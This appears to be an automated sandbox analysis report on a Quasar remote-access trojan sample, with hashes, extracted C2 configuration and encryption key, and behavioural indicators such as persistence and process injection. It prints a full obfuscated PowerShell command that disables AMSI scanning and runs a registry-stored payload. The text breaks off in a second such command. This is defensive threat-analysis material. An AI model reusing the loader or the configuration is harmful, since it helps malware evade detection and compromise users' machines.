Analysis
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max time kernel
1800s -
max time network
1797s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
08-05-2024 17:28
Behavioral task
behavioral1
Sample
Uni.exe
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Uni.exe
Resource
win7-20240508-en
Behavioral task
behavioral3
Sample
Uni.exe
Resource
win10v2004-20240508-en
General
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Target
Uni.exe
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Size
409KB
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MD5
7417c8c73e614f293152575f46134216
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SHA1
cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805
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SHA256
00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3
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SHA512
897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0
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SSDEEP
6144:nMr2pJAJcC0B632U3GRbMfgvKFFhTEDPX1NbKoEn5MSU+h2f8/14m:LpyJcC+82U3GRGGp1M5Ys2f8/6m
Malware Config
Extracted
quasar
3.1.5
SLAVE
even-lemon.gl.at.ply.gg:33587
$Sxr-dOMA5C0pQTTpKjVsCp
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encryption_key
UBXs44u6E81wxBGZxQHk
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install_name
$sxr-powershell.exe
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log_directory
$SXR-KEYLOGS
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reconnect_delay
3000
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startup_key
$sxr-powershell
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subdirectory
$sxr-seroxen2
Signatures
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Quasar payload 2 IoCs
Processes:
resource yara_rule behavioral4/memory/2064-1-0x0000000000F30000-0x0000000000F9C000-memory.dmp family_quasar C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 4696 created 644 4696 powershell.EXE winlogon.exe PID 2024 created 644 2024 powershell.EXE winlogon.exe -
Executes dropped EXE 3 IoCs
Processes:
$sxr-powershell.exeinstall.exeinstall.exepid process 4664 $sxr-powershell.exe 2908 install.exe 2160 install.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 1 raw.githubusercontent.com 4 raw.githubusercontent.com 8 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1 ip-api.com -
Drops file in System32 directory 5 IoCs
Processes:
powershell.EXEsvchost.exepowershell.EXEdescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE -
Suspicious use of SetThreadContext 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 4696 set thread context of 2256 4696 powershell.EXE dllhost.exe PID 2024 set thread context of 4656 2024 powershell.EXE dllhost.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
SCHTASKS.exeschtasks.exeschtasks.exepid process 3556 SCHTASKS.exe 1300 schtasks.exe 4496 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.EXEpowershell.EXEOfficeClickToRun.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715200265" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.EXEpowershell.EXEdllhost.exedllhost.exepid process 4696 powershell.EXE 4696 powershell.EXE 2024 powershell.EXE 2024 powershell.EXE 4696 powershell.EXE 2256 dllhost.exe 2256 dllhost.exe 2256 dllhost.exe 2256 dllhost.exe 2256 dllhost.exe 2256 dllhost.exe 2256 dllhost.exe 2256 dllhost.exe 2024 powershell.EXE 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe 4656 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 32 IoCs
Processes:
Uni.exepowershell.EXE$sxr-powershell.exepowershell.EXEdllhost.exedllhost.exedwm.exeExplorer.EXEdescription pid process Token: SeDebugPrivilege 2064 Uni.exe Token: SeDebugPrivilege 4696 powershell.EXE Token: SeDebugPrivilege 4664 $sxr-powershell.exe Token: SeDebugPrivilege 2024 powershell.EXE Token: SeDebugPrivilege 4696 powershell.EXE Token: SeDebugPrivilege 2256 dllhost.exe Token: SeDebugPrivilege 2024 powershell.EXE Token: SeDebugPrivilege 4656 dllhost.exe Token: SeShutdownPrivilege 444 dwm.exe Token: SeCreatePagefilePrivilege 444 dwm.exe Token: SeShutdownPrivilege 3316 Explorer.EXE Token: SeCreatePagefilePrivilege 3316 Explorer.EXE Token: SeShutdownPrivilege 444 dwm.exe Token: SeCreatePagefilePrivilege 444 dwm.exe Token: SeShutdownPrivilege 3316 Explorer.EXE Token: SeCreatePagefilePrivilege 3316 Explorer.EXE Token: SeShutdownPrivilege 444 dwm.exe Token: SeCreatePagefilePrivilege 444 dwm.exe Token: SeShutdownPrivilege 3316 Explorer.EXE Token: SeCreatePagefilePrivilege 3316 Explorer.EXE Token: SeShutdownPrivilege 444 dwm.exe Token: SeCreatePagefilePrivilege 444 dwm.exe Token: SeShutdownPrivilege 3316 Explorer.EXE Token: SeCreatePagefilePrivilege 3316 Explorer.EXE Token: SeShutdownPrivilege 444 dwm.exe Token: SeCreatePagefilePrivilege 444 dwm.exe Token: SeShutdownPrivilege 3316 Explorer.EXE Token: SeCreatePagefilePrivilege 3316 Explorer.EXE Token: SeShutdownPrivilege 444 dwm.exe Token: SeCreatePagefilePrivilege 444 dwm.exe Token: SeShutdownPrivilege 3316 Explorer.EXE Token: SeCreatePagefilePrivilege 3316 Explorer.EXE -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
$sxr-powershell.exepid process 4664 $sxr-powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Uni.exe$sxr-powershell.exepowershell.EXEdllhost.exedescription pid process target process PID 2064 wrote to memory of 4496 2064 Uni.exe schtasks.exe PID 2064 wrote to memory of 4496 2064 Uni.exe schtasks.exe PID 2064 wrote to memory of 4496 2064 Uni.exe schtasks.exe PID 2064 wrote to memory of 4664 2064 Uni.exe $sxr-powershell.exe PID 2064 wrote to memory of 4664 2064 Uni.exe $sxr-powershell.exe PID 2064 wrote to memory of 4664 2064 Uni.exe $sxr-powershell.exe PID 2064 wrote to memory of 2908 2064 Uni.exe install.exe PID 2064 wrote to memory of 2908 2064 Uni.exe install.exe PID 2064 wrote to memory of 2908 2064 Uni.exe install.exe PID 2064 wrote to memory of 3556 2064 Uni.exe SCHTASKS.exe PID 2064 wrote to memory of 3556 2064 Uni.exe SCHTASKS.exe PID 2064 wrote to memory of 3556 2064 Uni.exe SCHTASKS.exe PID 4664 wrote to memory of 1300 4664 $sxr-powershell.exe schtasks.exe PID 4664 wrote to memory of 1300 4664 $sxr-powershell.exe schtasks.exe PID 4664 wrote to memory of 1300 4664 $sxr-powershell.exe schtasks.exe PID 4664 wrote to memory of 2160 4664 $sxr-powershell.exe install.exe PID 4664 wrote to memory of 2160 4664 $sxr-powershell.exe install.exe PID 4664 wrote to memory of 2160 4664 $sxr-powershell.exe install.exe PID 4696 wrote to memory of 2256 4696 powershell.EXE dllhost.exe PID 4696 wrote to memory of 2256 4696 powershell.EXE dllhost.exe PID 4696 wrote to memory of 2256 4696 powershell.EXE dllhost.exe PID 4696 wrote to memory of 2256 4696 powershell.EXE dllhost.exe PID 4696 wrote to memory of 2256 4696 powershell.EXE dllhost.exe PID 4696 wrote to memory of 2256 4696 powershell.EXE dllhost.exe PID 4696 wrote to memory of 2256 4696 powershell.EXE dllhost.exe PID 4696 wrote to memory of 2256 4696 powershell.EXE dllhost.exe PID 2256 wrote to memory of 644 2256 dllhost.exe winlogon.exe PID 2256 wrote to memory of 704 2256 dllhost.exe lsass.exe PID 2256 wrote to memory of 1008 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 444 2256 dllhost.exe dwm.exe PID 2256 wrote to memory of 968 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 1044 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 1076 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 1100 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 1192 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 1252 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 1260 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 1380 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 1400 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 1408 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 1532 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 1540 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 1552 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 1700 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 1736 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 1756 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 1824 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 1852 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 1864 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 1900 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 2028 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 2044 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 2112 2256 dllhost.exe spoolsv.exe PID 2256 wrote to memory of 2220 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 2412 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 2420 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 2428 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 2468 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 2552 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 2580 2256 dllhost.exe sysmon.exe PID 2256 wrote to memory of 2588 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 2604 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 2616 2256 dllhost.exe svchost.exe PID 2256 wrote to memory of 800 2256 dllhost.exe sihost.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:644
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:444
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{e11dc155-d46f-4ad1-a36a-5081b675e357}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2256
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{270990c6-5860-4772-b1f8-bbfdeb0d13ef}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4656
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:704
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:1008
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:968
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1044
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1076
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:1100
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1192
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1260
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:fuagstZODOYh{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$sQzqCCamwJPdph,[Parameter(Position=1)][Type]$crUQiddidn)$NoAcPuyOvzV=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+'d'+''+[Char](68)+''+[Char](101)+''+'l'+'e'+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+[Char](101)+'m'+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+'o'+'dul'+'e'+'',$False).DefineType(''+'M'+'yD'+'e'+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+'t'+'eT'+[Char](121)+''+[Char](112)+''+'e'+'','C'+'l'+''+'a'+'s'+[Char](115)+''+[Char](44)+'Pu'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+'e'+''+[Char](97)+''+'l'+''+[Char](101)+''+[Char](100)+''+','+'A'+[Char](110)+'siC'+'l'+'a'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+''+[Char](111)+''+'C'+'l'+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$NoAcPuyOvzV.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+''+'e'+''+[Char](99)+'i'+[Char](97)+'lNa'+[Char](109)+''+[Char](101)+''+','+'H'+'i'+'de'+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$sQzqCCamwJPdph).SetImplementationFlags('Ru'+'n'+'t'+'i'+''+[Char](109)+''+'e'+','+[Char](77)+''+'a'+'n'+[Char](97)+''+[Char](103)+'e'+'d'+'');$NoAcPuyOvzV.DefineMethod(''+'I'+'n'+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+'P'+'u'+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+'ew'+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+'l'+'',$crUQiddidn,$sQzqCCamwJPdph).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+'age'+[Char](100)+'');Write-Output $NoAcPuyOvzV.CreateType();}$BItucUFnhFtXJ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+'em'+'.'+''+'d'+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+'c'+[Char](114)+'oso'+[Char](102)+'t'+[Char](46)+''+[Char](87)+'in'+'3'+'2'+[Char](46)+'U'+'n'+''+[Char](115)+''+'a'+'fe'+[Char](78)+''+[Char](97)+'ti'+[Char](118)+'e'+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+'o'+'d'+[Char](115)+'');$hbrHaEZAQgHnjb=$BItucUFnhFtXJ.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+'t'+'a'+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$UUGfxAKsAbMyYLFLCQQ=fuagstZODOYh @([String])([IntPtr]);$PcZBfrJvDbGXQxMgCaVZfO=fuagstZODOYh @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$EfpTWVIreBJ=$BItucUFnhFtXJ.GetMethod(''+'G'+''+[Char](101)+'tM'+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+'e'+''+[Char](72)+''+[Char](97)+''+'n'+'d'+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+'rn'+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](100)+''+'l'+'l')));$QDQhepIAeNSVAJ=$hbrHaEZAQgHnjb.Invoke($Null,@([Object]$EfpTWVIreBJ,[Object]('L'+'o'+'a'+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+'a'+'r'+[Char](121)+''+[Char](65)+'')));$CLLrqdJUkcoaAMgDV=$hbrHaEZAQgHnjb.Invoke($Null,@([Object]$EfpTWVIreBJ,[Object](''+'V'+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+'t'+'e'+'c'+'t')));$OlXcvRL=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QDQhepIAeNSVAJ,$UUGfxAKsAbMyYLFLCQQ).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+'.d'+[Char](108)+''+[Char](108)+'');$HQXFoMnZHUBgXLFWS=$hbrHaEZAQgHnjb.Invoke($Null,@([Object]$OlXcvRL,[Object](''+[Char](65)+''+[Char](109)+'s'+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$IQNxwIorNw=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CLLrqdJUkcoaAMgDV,$PcZBfrJvDbGXQxMgCaVZfO).Invoke($HQXFoMnZHUBgXLFWS,[uint32]8,4,[ref]$IQNxwIorNw);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$HQXFoMnZHUBgXLFWS,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CLLrqdJUkcoaAMgDV,$PcZBfrJvDbGXQxMgCaVZfO).Invoke($HQXFoMnZHUBgXLFWS,[uint32]8,0x20,[ref]$IQNxwIorNw);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+'st'+[Char](97)+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4696
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:hEGZyiAADzns{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$YhtcgYbMtjAOvH,[Parameter(Position=1)][Type]$XbWDqJNChT)$xcqFCGnzNwX=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object 